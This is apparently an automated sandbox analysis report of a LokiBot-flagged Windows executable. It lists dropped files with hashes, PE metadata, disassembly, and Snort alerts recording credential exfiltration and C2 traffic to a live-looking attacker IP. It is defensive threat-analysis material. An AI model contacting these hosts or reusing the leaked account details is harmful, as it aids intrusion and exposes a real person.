	5A15ECE1649A5EF54B70B95D9D413BAD068B8C1C932E2.exe	Get hash	malicious	Browse	197.242.150.64
	DOC5629.htm	Get hash	malicious	Browse	197.242.150.64
	Racun je u prilogu.exe	Get hash	malicious	Browse	197.242.150.64
	exe.exe	Get hash	malicious	Browse	197.242.150.64
	INF-BRdocsx.NDVDELDKRS.msi	Get hash	malicious	Browse	197.242.150.64
	2GEg45PlG9.exe	Get hash	malicious	Browse	197.242.150.64
	cJ2wN3RKmh.exe	Get hash	malicious	Browse	197.242.150.64
	J73PTzDghy.exe	Get hash	malicious	Browse	197.242.150.64
	fkYZ7hyvnD.exe	Get hash	malicious	Browse	197.242.150.64
	xzmHphquAP.exe	Get hash	malicious	Browse	197.242.150.64
	R0xLHA2mT5.exe	Get hash	malicious	Browse	197.242.150.64
	Rats4dIOmA.exe	Get hash	malicious	Browse	197.242.150.64
	XP-SN-7843884.htm	Get hash	malicious	Browse	197.242.150.64
	XP-SN-8324655.htm	Get hash	malicious	Browse	197.242.150.64
	new-1834138397.xls	Get hash	malicious	Browse	197.242.150.64
	1.htm	Get hash	malicious	Browse	197.242.150.64
	FACTURAS.exe	Get hash	malicious	Browse	197.242.150.64
	new-1179494065.xls	Get hash	malicious	Browse	197.242.150.64
	Arrival Notice, CIA Awb Inv Form.pdf.exe	Get hash	malicious	Browse	197.242.150.64

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Credentials\93CE54EBD72B5E2187F75E8118A14612_dec Download File
Process:	C:\Windows\System32\lsass.exe
File Type:	data
Category:	dropped
Size (bytes):	3656
Entropy (8bit):	7.0471426164335735
Encrypted:	false
SSDEEP:	48:UOt6arrbUSpRRAr24LrPMJvPdkbr0Cn4mroYbkM6CRrlWycl9rfkTJNrrN8euJMQ:UO8abFpRRG24fgPd6dD2GMsl53zqLA8
MD5:	DF46EAA3E0822E1F26163A47DD2EBC88
SHA1:	74C5CD5E0A656E2B17567486D8893A41D6FC1837
SHA-256:	2DB1C00E04388BD8BDD7263D10200FB52F7F34078733B4B722BF142B0D9E7E19
SHA-512:	B316793DCD4B612D09E34DF00E27DCAFA0E6452913B1DC7A43D5483C259DADA9FA11E32F6FA42D32A460EE221D25A82B2888C02B0060E7BBF6810A0229A118E1
Malicious:	false
Reputation:	low
Preview:	0...H.................0.............................L.e.g.a.c.y.G.e.n.e.r.i.c.:.t.a.r.g.e.t.=.M.i.c.r.o.s.o.f.t.A.c.c.o.u.n.t.:.u.s.e.r.=.s.h.a.h.a.k...s.h.a.p.i.r.a.@.o.u.t.l.o.o.k...c.o.m.......(...P.e.r.s.i.s.t.e.d.C.r.e.d.e.n.t.i.a.l.......6...s.h.a.h.a.k...s.h.a.p.i.r.a.@.o.u.t.l.o.o.k...c.o.m...........D...M.i.c.r.o.s.o.f.t._.W.i.n.d.o.w.s.L.i.v.e.:.a.u.t.h.s.t.a.t.e.:.0...................z..O........$...I.AP...i&...........f...... ....}3..+....i.a...-....JEj...d<~............ ........K%..D.c<.P............j. ...zp.@..e.s.Wes1J..B..G.U[....0O%9l...U..F..vO..<.......<..sn.8j3...4?.Be.i.BqM.q^..\|x.....D..s).^o....[,.....D...M.i.c.r.o.s.o.f.t._.W.i.n.d.o.w.s.L.i.v.e.:.a.u.t.h.s.t.a.t.e.:.1.......1.YY..VRnE...%...m....Fa...?...2KC...Z.w...`+.&..\^.....[...*6M0.V.9....N..S..\|.....,....;...i.v]y....;...E.R..I]....C.....z..%.....?...].5..p..<.... .....>....bC.\|...\|..B..Q0_f).^.k.Nt#e..[...iv+G.x.T.z.~...S.....t..`.....m....\.iq........D...M.i.c.r.o.s.o.

C:\Users\user\AppData\Local\Temp\~DFBA8B24485FEA2BF0.TMP Download File
Process:	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	1.5460794479699351
Encrypted:	false
SSDEEP:	96:kOtJyg4D7OKBqQOtJyg4D1DDPwYDPXxJXf6nZV4XoB:1KD7OKAJKD1DDPwYDPXxJXf6nZV4XoB
MD5:	A10173F2BC7809BD9C218B204F91B9B5
SHA1:	CCC33C4FF5908D771A921E81FA6DEC9E83BF9399
SHA-256:	9D569DF219A76092E36A090729EF451275255D21A7B7FA9BEEA8431DF88906D8
SHA-512:	F2FB87D14882D23D9F49F4AE31D179CE083C0D7F2C87755C68600CDBB8A48E06E02DBFD0FCF42BB7611590FDF03EB4FDA0B5FBB530A1DB4AAB5487099A495FDB
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\5D4ACB\B73EF6.hdb Download File
Process:	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe
File Type:	ISO-8859 text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:7:7
MD5:	4F1717C9B5ACF6604D800FE07A8D320F
SHA1:	151524FA23C0F30AB06C0DA0BEAFDB77ABAA3739
SHA-256:	B2B5DAEAC1A532BA9D1086A6CFB21F7CD9381D4FFAFB12274E5248D108F0BDC6
SHA-512:	DA07F4DEB58DFBD694F4A7D2D54D154B78E507EC6477F1DB0CA6922F25E5E3FA0C0FB6FC78D1FA584FC883754D3FCA9F567207E61CE8C3851C79D5AB42C2A258
Malicious:	false
Reputation:	low
Preview:	.@h.

C:\Users\user\AppData\Roaming\5D4ACB\B73EF6.lck Download File
Process:	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3425316567-2969588382-3778222414-1001\1b1d0082738e9f9011266f86ab9723d2_11389406-0377-47ed-98c7-d564e683c6eb Download File
Process:	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe
File Type:	data
Category:	dropped
Size (bytes):	47
Entropy (8bit):	1.1262763721961973
Encrypted:	false
SSDEEP:	3:/lSllIEXln:AWE1
MD5:	D69FB7CE74DAC48982B69816C3772E4E
SHA1:	B1C04CDB2567DC2B50D903B0E1D0D3211191E065
SHA-256:	8CC6CA5CA4D0FA03842A60D90A6141F0B8D64969E830FC899DBA60ACB4905396
SHA-512:	7E4EC58DA8335E43A4542E0F6E05FA2D15393E83634BE973AA3E758A870577BA0BA136F6E831907C4B30D587B8E6EEAFA2A4B8142F49714101BA50ECC294DDB0
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	........................................user.

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.174630404591659
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ORDINE + DDT A.M.F SpA.exe
File size:	164928
MD5:	f5423b7a89876044078cbb68db883af8
SHA1:	24c550c47d26090f298fea030d7fb890c94737a5
SHA256:	68a315123349444d30fed12643a7be20eb003531a4b95d0db800fb765449037d
SHA512:	a1e0da217c0a383878405f53b7318316d87fa7483831429ef50973a526bf160baa855ac2b7853dfe95b15265aee3bba9044ad04ee4319ab41cb2fdb1cd2cf166
SSDEEP:	3072:9cqN5FpupBqUudn4Qw6cOOxQnLC6hpA7VHACd:xN5mpBHAYxQnLn4D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......7b..s...s...s.......r...<!..v...E%..r...Richs...........................PE..L......O................. ...`......@........0....@

File Icon


Icon Hash:	e5c1e079b0dcdc3c

Static PE Info

General
Entrypoint:	0x401640
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x4FF98A07 [Sun Jul 8 13:24:23 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	90425c3cfb1918f16a4ffb8047a25e88

Authenticode Signature

Signature Valid:	false
Signature Issuer:	E=Halvmilitr5@Pasan.Out, CN=yeara, OU=Hnisses, O=Frstestyrmndenes, L=langhalms, S=Targon, C=TH
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	25/11/2021 06:31:27 25/11/2022 06:31:27
Subject Chain	E=Halvmilitr5@Pasan.Out, CN=yeara, OU=Hnisses, O=Frstestyrmndenes, L=langhalms, S=Targon, C=TH
Version:	3
Thumbprint MD5:	1675B0681F6E08F88C72FD3302E50FD9
Thumbprint SHA-1:	DDEB96699987B30C7A4E263EC2B1CE4BED20032D
Thumbprint SHA-256:	490EABAB012CB43983C62C20A02D579B84FABA9ADF4734E32E4330690D5139D1
Serial:	00

Entrypoint Preview

Instruction
push 004016F4h
call 00007F3B60A66FF3h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi-6A393297h], cl
pop ss
mov dword ptr [ecx-75h], ecx
or ecx, dword ptr [esi-40h]
dec esi
out dx, al
iretd
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
inc edx
add byte ptr [esi], al
push eax
add dword ptr [ecx], 46h
popad
je 00007F3B60A67076h
insb
imul esp, dword ptr [edi+65h], 1C000073h
insb
hlt
add al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], al
add al, ah
aaa
inc eax
add byte ptr [edi], al
add byte ptr [eax], al
add byte ptr [eax+ebp+40h], ch
add byte ptr [edi], al
add byte ptr [eax], al
add byte ptr [eax+ebp], dl
inc eax
add byte ptr [edi], al
add byte ptr [eax], al
add al, al
daa
inc eax
add byte ptr [ecx], al
add byte ptr [eax+eax], al
inc eax
and eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x226f4	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x26000	0x22a4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x27000	0x1440
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x238	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x118	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x21bcc	0x22000	False	0.385268267463	data	6.40485948077	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x23000	0x20b4	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x26000	0x22a4	0x3000	False	0.194580078125	data	3.74537367217	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
CUSTOM	0x27e84	0x420	ASCII text, with CRLF line terminators	English	United States
CUSTOM	0x27a48	0x43c	ASCII text, with CRLF line terminators	English	United States
CUSTOM	0x276c6	0x382	ASCII text, with CRLF line terminators	English	United States
RT_ICON	0x2759e	0x128	GLS_BINARY_LSB_FIRST
RT_ICON	0x27036	0x568	GLS_BINARY_LSB_FIRST
RT_ICON	0x26d4e	0x2e8	data
RT_ICON	0x264a6	0x8a8	data
RT_GROUP_ICON	0x26468	0x3e	data
RT_VERSION	0x26230	0x238	data	Chinese	Taiwan

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, __vbaStrVarMove, __vbaFreeVarList, __vbaEnd, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaSetSystemError, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryDestruct, __vbaObjSet, __vbaOnError, _adj_fdiv_m16i, _adj_fdivr_m16i, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaStrCmp, __vbaAryConstruct2, DllFunctionCall, _adj_fpatan, __vbaLateIdCallLd, EVENT_SINK_Release, __vbaUI1I2, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, _CIlog, __vbaNew2, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaI4Var, __vbaStrToAnsi, __vbaVarDup, _CIatan, __vbaStrMove, _allmul, __vbaLateIdSt, _CItan, _CIexp, __vbaFreeStr, __vbaFreeObj

Version Infos

Description	Data
Translation	0x0404 0x04b0
InternalName	HYDROCHELIDON
FileVersion	1.00
ProductName	Daisy chain
ProductVersion	1.00
FileDescription	Daisy chain
OriginalFilename	HYDROCHELIDON.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Chinese	Taiwan

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
11/25/21-10:47:51.302644	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	62242	1.1.1.1	192.168.11.20
11/25/21-10:47:51.432888	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	62242	9.9.9.9	192.168.11.20
11/25/21-10:47:51.433091	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.11.20	9.9.9.9
11/25/21-10:47:54.204528	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49817	80	192.168.11.20	176.223.209.128
11/25/21-10:47:54.204528	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49817	80	192.168.11.20	176.223.209.128
11/25/21-10:47:54.204528	TCP	2025381	ET TROJAN LokiBot Checkin	49817	80	192.168.11.20	176.223.209.128
11/25/21-10:47:54.204528	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49817	80	192.168.11.20	176.223.209.128
11/25/21-10:48:00.994992	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49821	80	192.168.11.20	176.223.209.128
11/25/21-10:48:00.994992	TCP	2025381	ET TROJAN LokiBot Checkin	49821	80	192.168.11.20	176.223.209.128
11/25/21-10:48:01.719256	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49822	80	192.168.11.20	176.223.209.128
11/25/21-10:48:01.719256	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49822	80	192.168.11.20	176.223.209.128
11/25/21-10:48:01.719256	TCP	2025381	ET TROJAN LokiBot Checkin	49822	80	192.168.11.20	176.223.209.128
11/25/21-10:48:01.719256	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49822	80	192.168.11.20	176.223.209.128
11/25/21-10:48:02.549129	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49823	80	192.168.11.20	176.223.209.128
11/25/21-10:48:02.549129	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49823	80	192.168.11.20	176.223.209.128
11/25/21-10:48:02.549129	TCP	2025381	ET TROJAN LokiBot Checkin	49823	80	192.168.11.20	176.223.209.128
11/25/21-10:48:02.549129	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49823	80	192.168.11.20	176.223.209.128
11/25/21-10:48:03.269523	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49824	80	192.168.11.20	176.223.209.128
11/25/21-10:48:03.269523	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49824	80	192.168.11.20	176.223.209.128
11/25/21-10:48:03.269523	TCP	2025381	ET TROJAN LokiBot Checkin	49824	80	192.168.11.20	176.223.209.128
11/25/21-10:48:03.269523	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49824	80	192.168.11.20	176.223.209.128
11/25/21-10:48:03.921018	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49825	80	192.168.11.20	176.223.209.128
11/25/21-10:48:03.921018	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49825	80	192.168.11.20	176.223.209.128
11/25/21-10:48:03.921018	TCP	2025381	ET TROJAN LokiBot Checkin	49825	80	192.168.11.20	176.223.209.128
11/25/21-10:48:03.921018	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49825	80	192.168.11.20	176.223.209.128
11/25/21-10:48:04.640364	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49826	80	192.168.11.20	176.223.209.128
11/25/21-10:48:04.640364	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49826	80	192.168.11.20	176.223.209.128
11/25/21-10:48:04.640364	TCP	2025381	ET TROJAN LokiBot Checkin	49826	80	192.168.11.20	176.223.209.128
11/25/21-10:48:04.640364	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49826	80	192.168.11.20	176.223.209.128
11/25/21-10:48:05.424332	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49828	80	192.168.11.20	176.223.209.128
11/25/21-10:48:05.424332	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49828	80	192.168.11.20	176.223.209.128
11/25/21-10:48:05.424332	TCP	2025381	ET TROJAN LokiBot Checkin	49828	80	192.168.11.20	176.223.209.128
11/25/21-10:48:05.424332	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49828	80	192.168.11.20	176.223.209.128
11/25/21-10:48:06.230046	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49844	80	192.168.11.20	176.223.209.128
11/25/21-10:48:06.230046	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49844	80	192.168.11.20	176.223.209.128
11/25/21-10:48:06.230046	TCP	2025381	ET TROJAN LokiBot Checkin	49844	80	192.168.11.20	176.223.209.128
11/25/21-10:48:06.230046	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49844	80	192.168.11.20	176.223.209.128
11/25/21-10:48:06.992097	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49845	80	192.168.11.20	176.223.209.128
11/25/21-10:48:06.992097	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49845	80	192.168.11.20	176.223.209.128
11/25/21-10:48:06.992097	TCP	2025381	ET TROJAN LokiBot Checkin	49845	80	192.168.11.20	176.223.209.128
11/25/21-10:48:06.992097	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49845	80	192.168.11.20	176.223.209.128
11/25/21-10:48:07.734356	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49846	80	192.168.11.20	176.223.209.128
11/25/21-10:48:07.734356	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49846	80	192.168.11.20	176.223.209.128
11/25/21-10:48:07.734356	TCP	2025381	ET TROJAN LokiBot Checkin	49846	80	192.168.11.20	176.223.209.128
11/25/21-10:48:07.734356	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49846	80	192.168.11.20	176.223.209.128
11/25/21-10:48:08.418319	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49847	80	192.168.11.20	176.223.209.128
11/25/21-10:48:08.418319	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49847	80	192.168.11.20	176.223.209.128
11/25/21-10:48:08.418319	TCP	2025381	ET TROJAN LokiBot Checkin	49847	80	192.168.11.20	176.223.209.128
11/25/21-10:48:08.418319	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49847	80	192.168.11.20	176.223.209.128
11/25/21-10:48:09.107461	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49848	80	192.168.11.20	176.223.209.128
11/25/21-10:48:09.107461	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49848	80	192.168.11.20	176.223.209.128
11/25/21-10:48:09.107461	TCP	2025381	ET TROJAN LokiBot Checkin	49848	80	192.168.11.20	176.223.209.128
11/25/21-10:48:09.107461	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49848	80	192.168.11.20	176.223.209.128
11/25/21-10:48:09.857430	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49849	80	192.168.11.20	176.223.209.128
11/25/21-10:48:09.857430	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49849	80	192.168.11.20	176.223.209.128
11/25/21-10:48:09.857430	TCP	2025381	ET TROJAN LokiBot Checkin	49849	80	192.168.11.20	176.223.209.128
11/25/21-10:48:09.857430	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49849	80	192.168.11.20	176.223.209.128
11/25/21-10:48:10.692074	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49850	80	192.168.11.20	176.223.209.128
11/25/21-10:48:10.692074	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49850	80	192.168.11.20	176.223.209.128
11/25/21-10:48:10.692074	TCP	2025381	ET TROJAN LokiBot Checkin	49850	80	192.168.11.20	176.223.209.128
11/25/21-10:48:10.692074	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49850	80	192.168.11.20	176.223.209.128
11/25/21-10:48:11.469665	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49851	80	192.168.11.20	176.223.209.128
11/25/21-10:48:11.469665	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49851	80	192.168.11.20	176.223.209.128
11/25/21-10:48:11.469665	TCP	2025381	ET TROJAN LokiBot Checkin	49851	80	192.168.11.20	176.223.209.128
11/25/21-10:48:11.469665	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49851	80	192.168.11.20	176.223.209.128
11/25/21-10:48:12.137740	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49852	80	192.168.11.20	176.223.209.128
11/25/21-10:48:12.137740	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49852	80	192.168.11.20	176.223.209.128
11/25/21-10:48:12.137740	TCP	2025381	ET TROJAN LokiBot Checkin	49852	80	192.168.11.20	176.223.209.128
11/25/21-10:48:12.137740	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49852	80	192.168.11.20	176.223.209.128
11/25/21-10:48:12.876249	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49853	80	192.168.11.20	176.223.209.128
11/25/21-10:48:12.876249	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49853	80	192.168.11.20	176.223.209.128
11/25/21-10:48:12.876249	TCP	2025381	ET TROJAN LokiBot Checkin	49853	80	192.168.11.20	176.223.209.128
11/25/21-10:48:12.876249	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49853	80	192.168.11.20	176.223.209.128
11/25/21-10:48:13.646369	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49854	80	192.168.11.20	176.223.209.128
11/25/21-10:48:13.646369	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49854	80	192.168.11.20	176.223.209.128
11/25/21-10:48:13.646369	TCP	2025381	ET TROJAN LokiBot Checkin	49854	80	192.168.11.20	176.223.209.128
11/25/21-10:48:13.646369	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49854	80	192.168.11.20	176.223.209.128
11/25/21-10:48:14.406984	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49855	80	192.168.11.20	176.223.209.128
11/25/21-10:48:14.406984	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49855	80	192.168.11.20	176.223.209.128
11/25/21-10:48:14.406984	TCP	2025381	ET TROJAN LokiBot Checkin	49855	80	192.168.11.20	176.223.209.128
11/25/21-10:48:14.406984	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49855	80	192.168.11.20	176.223.209.128
11/25/21-10:48:15.068809	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49856	80	192.168.11.20	176.223.209.128
11/25/21-10:48:15.068809	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49856	80	192.168.11.20	176.223.209.128
11/25/21-10:48:15.068809	TCP	2025381	ET TROJAN LokiBot Checkin	49856	80	192.168.11.20	176.223.209.128
11/25/21-10:48:15.068809	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49856	80	192.168.11.20	176.223.209.128
11/25/21-10:48:15.740662	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49857	80	192.168.11.20	176.223.209.128
11/25/21-10:48:15.740662	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49857	80	192.168.11.20	176.223.209.128
11/25/21-10:48:15.740662	TCP	2025381	ET TROJAN LokiBot Checkin	49857	80	192.168.11.20	176.223.209.128
11/25/21-10:48:15.740662	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49857	80	192.168.11.20	176.223.209.128
11/25/21-10:48:16.437510	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49858	80	192.168.11.20	176.223.209.128
11/25/21-10:48:16.437510	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49858	80	192.168.11.20	176.223.209.128
11/25/21-10:48:16.437510	TCP	2025381	ET TROJAN LokiBot Checkin	49858	80	192.168.11.20	176.223.209.128
11/25/21-10:48:16.437510	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49858	80	192.168.11.20	176.223.209.128
11/25/21-10:48:17.100652	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49859	80	192.168.11.20	176.223.209.128
11/25/21-10:48:17.100652	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49859	80	192.168.11.20	176.223.209.128
11/25/21-10:48:17.100652	TCP	2025381	ET TROJAN LokiBot Checkin	49859	80	192.168.11.20	176.223.209.128
11/25/21-10:48:17.100652	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49859	80	192.168.11.20	176.223.209.128
11/25/21-10:48:17.734632	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49860	80	192.168.11.20	176.223.209.128
11/25/21-10:48:17.734632	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49860	80	192.168.11.20	176.223.209.128
11/25/21-10:48:17.734632	TCP	2025381	ET TROJAN LokiBot Checkin	49860	80	192.168.11.20	176.223.209.128
11/25/21-10:48:17.734632	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49860	80	192.168.11.20	176.223.209.128
11/25/21-10:48:18.417274	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49861	80	192.168.11.20	176.223.209.128
11/25/21-10:48:18.417274	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49861	80	192.168.11.20	176.223.209.128
11/25/21-10:48:18.417274	TCP	2025381	ET TROJAN LokiBot Checkin	49861	80	192.168.11.20	176.223.209.128
11/25/21-10:48:18.417274	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49861	80	192.168.11.20	176.223.209.128
11/25/21-10:48:19.071832	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49862	80	192.168.11.20	176.223.209.128
11/25/21-10:48:19.071832	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49862	80	192.168.11.20	176.223.209.128
